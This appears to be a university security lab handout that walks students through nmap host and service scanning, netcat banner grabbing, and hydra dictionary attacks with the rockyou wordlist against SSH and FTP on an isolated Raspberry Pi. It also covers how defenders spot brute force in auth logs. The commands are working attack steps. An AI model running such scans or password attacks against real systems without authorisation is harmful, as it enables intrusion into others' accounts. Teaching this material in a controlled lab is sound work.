Recon and Online Attacks Lab

nmap, netcat, and hydra

2026-10-30

Table of contents

1 Network Reconnaissance with nmap **2**
- 1.1 Installation . . . 2
- 1.2 Host Discovery . . . 2
- 1.3 Port Scanning the Target . . . 2
- 1.4 Service Version Detection . . . 3
- 1.5 OS Fingerprinting . . . 3
- 1.6 Saving nmap Output . . . 3

2 Manual Service Inspection with netcat **4**
- 2.1 Connecting to a Port . . . 4
- 2.2 What Banner Grabbing Tells an Attacker . . . 5

3 Online Password Attack with hydra **5**
- 3.1 Installation . . . 5
- 3.2 The rockyou Wordlist . . . 5
- 3.3 Attacking SSH . . . 6
- 3.4 Attacking FTP . . . 6
- 3.5 The Defender's View: Watching the Auth Logs . . . 7
- 3.6 Verifying the Cracked Credentials . . . 8

In this lab you will work through the first two stages of a simulated attack against a machine on your LAN. The three stages across both labs follow the same general pattern an attacker uses in the real world:

1. **Reconnaissance** – find out what is on the network and what services are running
2. **Online attack** – try to break into a service directly over the network
3. **Offline attack** – obtain and crack a password hash without touching the target (Lab 2)

The target machine for both labs is a Raspberry Pi at `10.7.7.200`. Everything you do here is authorised on this isolated network. Do not use these tools outside of this lab environment.

> **Important**
>
> All tools used in this lab – nmap, netcat, and hydra – are legal to run on networks you own or have explicit permission to test. Running them on unauthorised networks is illegal in most jurisdictions and violates university policy. This LAN is your sandbox.

1 Network Reconnaissance with nmap

Before attacking anything, an attacker needs to know what is on the network. **nmap** (Network Mapper) is the industry-standard tool for this. It can discover live hosts, enumerate open ports, identify running services, and fingerprint operating systems.

1.1 Installation

```
sudo apt update
sudo apt install nmap -y
```

1.2 Host Discovery

Start with a broad scan to find every live host on the `10.7.7.0/24` subnet. nmap sends ICMP echo requests and TCP probes to each address and reports which ones respond:

```
nmap 10.7.7.0/24
```

> **Note**
>
> We are scanning `10.7.7.0/24` rather than the full `10.0.0.0/8`. A `/24` covers 254 addresses; a `/8` covers over 16 million. With 70 students scanning simultaneously, using `/8` would saturate the LAN and take many minutes. Always narrow your scan scope to the subnet you actually need.

You should see the Pi at `10.7.7.200` appear in the results. Note any other hosts that respond – these are your own machines and your classmates'.

1.3 Port Scanning the Target

Now focus on the Pi. A default nmap scan checks the 1000 most commonly used ports:

```
nmap 10.7.7.200
```

To scan a specific port or range:

```
nmap -p 22 10.7.7.200          # just port 22 (SSH)
nmap -p 21,22 10.7.7.200       # ports 21 and 22
nmap -p 1-1024 10.7.7.200      # all well-known ports
```

> **Tip**
>
> Some hosts block ICMP ping probes and will appear dead to a default scan even when they are alive. The `-Pn` flag tells nmap to skip the ping check and scan anyway:
>
> ```
> nmap -Pn 10.7.7.200
> ```
>
> Try both with and without `-Pn` on the Pi and observe the difference.

1.4 Service Version Detection

Open ports tell you *what* is running; service version detection tells you *which version*. This matters because specific versions may have known vulnerabilities. Use the `-sV` flag:

```
nmap -sV 10.7.7.200
```

You should now see something like:

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.9p1
```

1.5 OS Fingerprinting

nmap can often identify the operating system running on a host by analysing how it responds to certain unusual packets. Use the `-O` flag (requires root):

```
sudo nmap -O 10.7.7.200
```

Look for the `OS details` or `Running` line in the output. It will likely identify the Pi as running Linux with a kernel version range.

1.6 Saving nmap Output

For large scans it is useful to save the results to a file so you can search them later. The `-oN` flag saves output in human-readable format:

```
nmap -sV 10.7.7.0/24 -oN scan_results.txt
```

You can then search the saved output with `grep`:

```
grep "open" scan_results.txt      # show only open ports
grep "22/tcp" scan_results.txt    # find all hosts with SSH open
grep "10.7.7" scan_results.txt    # filter to our subnet
```

> **Combining Flags**
>
> nmap flags can be combined freely. A useful all-in-one scan for the Pi:
>
> ```
> sudo nmap -Pn -sV -O 10.7.7.200 -oN pi_scan.txt
> ```
>
> This skips the ping check, detects service versions, attempts OS fingerprinting, and saves the result.

2 Manual Service Inspection with netcat

nmap tells you a port is open and makes an educated guess about what is running there. **netcat** (`nc`) lets you connect to that port directly and interact with the service by hand. This is useful for confirming what nmap reported and for understanding what a service actually looks like at the socket level.

2.1 Connecting to a Port

The basic syntax is `nc <host> <port>`:

```
nc 10.7.7.200 22    # connect to SSH
```

You will immediately receive a **banner** – a greeting the service sends before any authentication. SSH will show something like:

```
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
```

Press `Ctrl+C` to disconnect. Now try FTP on port 21:

```
nc 10.7.7.200 21
```

FTP is more talkative. You will see the server's welcome message and can type FTP commands directly:

```
220 (vsFTPd 3.0.3)
USER labuser          <- type this
331 Please specify the password.
PASS anything         <- type this (it will fail, but you can see the exchange)
530 Login incorrect.
QUIT                  <- type this to disconnect
```

2.2 What Banner Grabbing Tells an Attacker

The version strings exposed in banners (e.g. `OpenSSH_8.9p1`, `vsFTPd 3.0.3`) can be looked up in vulnerability databases like CVE or Exploit-DB to find known weaknesses. In a real penetration test, this step narrows down which exploits are worth trying before touching the target again.

> **Note**
>
> Some hardened systems suppress or falsify their banners specifically to frustrate this kind of reconnaissance. nmap's version detection (`-sV`) and OS fingerprinting (`-O`) use packet-level analysis that is harder to fake, which is why they are often more reliable than banner strings alone.

3 Online Password Attack with hydra

You now know the Pi has SSH on port 22 and FTP on port 21, and that there is a user called `labuser`. The next step is to try to discover `labuser`'s password by systematically trying entries from a wordlist – a **dictionary attack**.

hydra is the standard tool for online password attacks. It automates login attempts across many protocols including SSH, FTP, HTTP, and others.

3.1 Installation

```
sudo apt install hydra -y
```

3.2 The rockyou Wordlist

A dictionary attack is only as good as its wordlist. The most widely used wordlist in security research is **rockyou.txt**, compiled from a real data breach of 32 million user accounts. It is pre-installed on most security-focused Linux distributions.

Check if it is available:

```
ls /usr/share/wordlists/
```

If you see `rockyou.txt.gz`, decompress it first:

```
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
```

Get a feel for what is in it:

```
wc -l /usr/share/wordlists/rockyou.txt    # how many passwords
head -20 /usr/share/wordlists/rockyou.txt # the most common ones
```

3.3 Attacking SSH

The basic hydra syntax for a single known username and a password list is:

```
sudo hydra -l labuser -P /usr/share/wordlists/rockyou.txt 10.7.7.200 ssh
```

Flag breakdown:

Flag	Meaning
`-l labuser`	Single known username (lowercase `-l`)
`-L userlist.txt`	Try usernames from a file (uppercase `-L`)
`-p password`	Single password to try (lowercase `-p`)
`-P rockyou.txt`	Password list file (uppercase `-P`)
`ssh`	The protocol to attack

Watch the output – hydra will print each attempt and stop when it finds a valid combination:

```
[22][ssh] host: 10.7.7.200   login: labuser   password: sunshine1
```

> **Tip**
>
> Add `-t 4` to limit hydra to 4 parallel threads. The default is higher and can overwhelm a small target like a Pi or trigger account lockout policies on more robust systems:
>
> ```
> sudo hydra -l labuser -P /usr/share/wordlists/rockyou.txt -t 4 10.7.7.200 ssh
> ```

3.4 Attacking FTP

The same syntax works for FTP – just change the protocol:

```
sudo hydra -l labuser -P /usr/share/wordlists/rockyou.txt 10.7.7.200 ftp
```

You should get the same credentials back, since `labuser` has one password used for both services. Notice whether SSH or FTP cracks faster – FTP tends to be quicker because it has less authentication overhead than SSH.

3.5 The Defender's View: Watching the Auth Logs

Every SSH and FTP login attempt is logged on the target machine. While your hydra attack is running, open a second terminal and SSH into the Pi using credentials your instructor will provide:

```
ssh pi@10.7.7.200    # or whatever the instructor account is
```

Then watch the authentication log in real time:

```
sudo tail -f /var/log/auth.log
```

You will see a flood of entries like:

```
sshd[1234]: Failed password for labuser from 10.7.7.42 port 54321 ssh2
sshd[1235]: Failed password for labuser from 10.7.7.42 port 54322 ssh2
sshd[1236]: Failed password for labuser from 10.7.7.42 port 54323 ssh2
```

followed eventually by:

```
sshd[1289]: Accepted password for labuser from 10.7.7.42 port 54376 ssh2
```

This is exactly what a security team's SIEM (Security Information and Event Management) system would alert on. A sudden burst of failed login attempts from a single source IP is one of the most reliable indicators of a brute-force attack in progress.

Press `Ctrl+C` to stop `tail -f` when you are done observing.

> **Note**
>
> Tools like **fail2ban** exist specifically to read logs like this and automatically block IP addresses that generate too many failed attempts. Rate-limiting SSH to a small number of attempts before a temporary ban can make hydra-style attacks impractical even against weak passwords. This is why password policy and login rate-limiting work together – neither is sufficient alone.

3.6 Verifying the Cracked Credentials

Confirm the credentials hydra found actually work:

```
ssh labuser@10.7.7.200
```

You should land in a shell on the Pi as `labuser`. Keep this session open – you will use it at the start of Lab 2.

```
labuser@raspberrypi:~$
```

Congratulations – you are in. Lab 2 picks up from here.